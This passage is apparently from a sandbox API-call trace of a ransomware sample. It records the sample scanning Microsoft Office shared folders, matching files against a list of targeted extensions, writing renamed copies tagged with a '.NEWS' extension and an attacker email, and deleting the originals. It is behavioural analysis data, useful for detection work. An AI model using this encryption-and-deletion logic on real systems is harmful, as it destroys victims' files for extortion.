Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.227] lstrlenW (lpString=".doc") returned 4 [0063.227] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0063.227] lstrlenW (lpString=".docx") returned 5 [0063.227] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0063.227] lstrlenW (lpString=".pdf") returned 4 [0063.227] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0063.227] lstrlenW (lpString=".xls") returned 4 [0063.227] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0063.227] lstrlenW (lpString=".xlsx") returned 5 [0063.227] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0063.227] lstrlenW (lpString=".ppt") returned 4 [0063.227] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString=".zip") returned 4 [0063.228] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0063.228] lstrlenW (lpString=".rar") returned 4 [0063.228] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0063.228] lstrlenW (lpString=".bz2") returned 4 [0063.228] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0063.228] lstrlenW (lpString=".7z") returned 3 [0063.228] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString=".dbf") returned 4 [0063.228] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString=".1cd") returned 4 [0063.228] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString=".jpg") returned 4 [0063.228] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.228] lstrlenW (lpString=".doc") returned 4 [0063.228] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0063.229] lstrlenW (lpString=".docx") returned 5 [0063.229] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0063.229] lstrlenW (lpString=".pdf") returned 4 [0063.229] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0063.229] lstrlenW (lpString=".xls") returned 4 [0063.229] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0063.229] lstrlenW (lpString=".xlsx") returned 5 [0063.229] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0063.229] lstrlenW (lpString=".ppt") returned 4 [0063.229] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0063.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.229] lstrlenW (lpString=".zip") returned 4 [0063.229] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0063.229] lstrlenW (lpString=".rar") returned 4 [0063.229] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0063.229] lstrlenW (lpString=".bz2") returned 4 [0063.229] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0063.229] lstrlenW (lpString=".7z") returned 3 [0063.229] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0063.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.229] lstrlenW (lpString=".dbf") returned 4 [0063.229] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0063.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.230] lstrlenW (lpString=".1cd") returned 4 [0063.230] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0063.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0063.230] lstrlenW (lpString=".jpg") returned 4 [0063.230] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0063.230] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0063.230] lstrlenW (lpString="Genko_1.emf") returned 11 [0063.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0063.241] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=5524) returned 1 [0063.241] CloseHandle (hObject=0x1fc) returned 1 [0063.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0063.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.242] lstrlenW (lpString=".doc") returned 4 [0063.242] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.242] lstrlenW (lpString=".docx") returned 5 [0063.242] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0063.242] lstrlenW (lpString=".pdf") returned 4 [0063.242] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.242] lstrlenW (lpString=".xls") returned 4 [0063.242] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.242] lstrlenW (lpString=".xlsx") returned 5 [0063.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0063.242] lstrlenW (lpString=".ppt") returned 4 [0063.242] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.242] lstrlenW (lpString=".zip") returned 4 [0063.243] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.243] lstrlenW (lpString=".rar") returned 4 [0063.243] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.243] lstrlenW (lpString=".bz2") returned 4 [0063.243] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.243] lstrlenW (lpString=".7z") returned 3 [0063.243] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.243] lstrlenW (lpString=".dbf") returned 4 [0063.243] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.243] lstrlenW (lpString=".1cd") returned 4 [0063.243] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.243] lstrlenW (lpString=".jpg") returned 4 [0063.243] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.243] lstrlenW (lpString=".doc") returned 4 [0063.243] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.243] lstrlenW (lpString=".docx") returned 5 [0063.244] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0063.244] lstrlenW (lpString=".pdf") returned 4 [0063.244] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.244] lstrlenW (lpString=".xls") returned 4 [0063.244] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.244] lstrlenW (lpString=".xlsx") returned 5 [0063.244] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0063.244] lstrlenW (lpString=".ppt") returned 4 [0063.244] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.244] lstrlenW (lpString=".zip") returned 4 [0063.244] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.244] lstrlenW (lpString=".rar") returned 4 [0063.244] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.244] lstrlenW (lpString=".bz2") returned 4 [0063.244] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.244] lstrlenW (lpString=".7z") returned 3 [0063.244] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.244] lstrlenW (lpString=".dbf") returned 4 [0063.244] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.244] lstrlenW (lpString=".1cd") returned 4 [0063.244] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0063.245] lstrlenW (lpString=".jpg") returned 4 [0063.245] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.245] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0063.245] lstrlenW (lpString="Graph.emf") returned 9 [0063.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0063.246] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=116724) returned 1 [0063.246] CloseHandle (hObject=0x1fc) returned 1 [0063.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0063.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.247] lstrlenW (lpString=".doc") returned 4 [0063.247] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.247] lstrlenW (lpString=".docx") returned 5 [0063.247] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0063.247] lstrlenW (lpString=".pdf") returned 4 [0063.247] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.247] lstrlenW (lpString=".xls") returned 4 [0063.247] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.247] lstrlenW (lpString=".xlsx") returned 5 [0063.247] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0063.247] lstrlenW (lpString=".ppt") returned 4 [0063.247] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.247] lstrlenW (lpString=".zip") returned 4 [0063.247] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.247] lstrlenW (lpString=".rar") returned 4 [0063.247] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.247] lstrlenW (lpString=".bz2") returned 4 [0063.247] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.247] lstrlenW (lpString=".7z") returned 3 [0063.247] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.247] lstrlenW (lpString=".dbf") returned 4 [0063.248] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.248] lstrlenW (lpString=".1cd") returned 4 [0063.248] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.248] lstrlenW (lpString=".jpg") returned 4 [0063.248] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.248] lstrlenW (lpString=".doc") returned 4 [0063.248] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.248] lstrlenW (lpString=".docx") returned 5 [0063.248] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0063.248] lstrlenW (lpString=".pdf") returned 4 [0063.248] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.248] lstrlenW (lpString=".xls") returned 4 [0063.248] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.248] lstrlenW (lpString=".xlsx") returned 5 [0063.248] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0063.248] lstrlenW (lpString=".ppt") returned 4 [0063.248] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.248] lstrlenW (lpString=".zip") returned 4 [0063.248] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.248] lstrlenW (lpString=".rar") returned 4 [0063.248] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.249] lstrlenW (lpString=".bz2") returned 4 [0063.249] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.249] lstrlenW (lpString=".7z") returned 3 [0063.249] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.249] lstrlenW (lpString=".dbf") returned 4 [0063.249] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.249] lstrlenW (lpString=".1cd") returned 4 [0063.249] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0063.249] lstrlenW (lpString=".jpg") returned 4 [0063.249] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.249] lstrcmpiW (lpString1=".htm", lpString2=".NEWS") returned -1 [0063.249] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0063.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0063.250] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=237) returned 1 [0063.250] CloseHandle (hObject=0x1fc) returned 1 [0063.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0063.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0063.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0063.251] lstrlenW (lpString=".doc") returned 4 [0063.251] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0063.251] lstrlenW (lpString=".docx") returned 5 [0063.251] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0063.251] lstrlenW (lpString=".pdf") returned 4 [0063.251] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0063.251] lstrlenW (lpString=".xls") returned 4 [0063.251] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0063.251] lstrlenW (lpString=".xlsx") returned 5 [0063.251] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0063.251] lstrlenW (lpString=".ppt") returned 4 [0063.251] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0063.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0063.252] lstrlenW (lpString=".zip") returned 4 [0063.252] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0063.252] lstrlenW (lpString=".rar") returned 4 [0063.252] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0063.252] lstrlenW (lpString=".bz2") returned 4 [0063.252] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0063.252] lstrlenW (lpString=".7z") returned 3 [0063.252] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0063.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0063.252] lstrlenW (lpString=".dbf") returned 4 [0063.252] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0068.649] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=25234) returned 1 [0068.649] CloseHandle (hObject=0x1cc) returned 1 [0068.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0068.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0068.650] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.650] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0068.651] GetLastError () returned 0x0 [0068.651] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x6292, lpOverlapped=0x0) returned 1 [0068.656] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0068.658] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.658] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.659] SetEndOfFile (hFile=0x218) returned 1 [0068.659] CloseHandle (hObject=0x218) returned 1 [0068.659] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.659] SetEndOfFile (hFile=0x1cc) returned 1 [0068.661] CloseHandle (hObject=0x1cc) returned 1 [0068.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0068.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.662] lstrlenW (lpString=".doc") returned 4 [0068.662] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0068.662] lstrlenW (lpString=".docx") returned 5 [0068.662] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0068.662] lstrlenW (lpString=".pdf") returned 4 [0068.662] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0068.662] lstrlenW (lpString=".xls") returned 4 [0068.662] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0068.662] lstrlenW (lpString=".xlsx") returned 5 [0068.662] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0068.663] lstrlenW (lpString=".ppt") returned 4 [0068.663] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0068.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.663] lstrlenW (lpString=".zip") returned 4 [0068.663] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0068.663] lstrlenW (lpString=".rar") returned 4 [0068.663] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0068.663] lstrlenW (lpString=".bz2") returned 4 [0068.663] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0068.663] lstrlenW (lpString=".7z") returned 3 [0068.663] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0068.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.663] lstrlenW (lpString=".dbf") returned 4 [0068.663] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0068.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.663] lstrlenW (lpString=".1cd") returned 4 [0068.663] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0068.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.663] lstrlenW (lpString=".jpg") returned 4 [0068.663] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0068.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.664] lstrlenW (lpString=".doc") returned 4 [0068.664] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0068.664] lstrlenW (lpString=".docx") returned 5 [0068.664] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0068.664] lstrlenW (lpString=".pdf") returned 4 [0068.664] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0068.664] lstrlenW (lpString=".xls") returned 4 [0068.664] lstrcmpiW 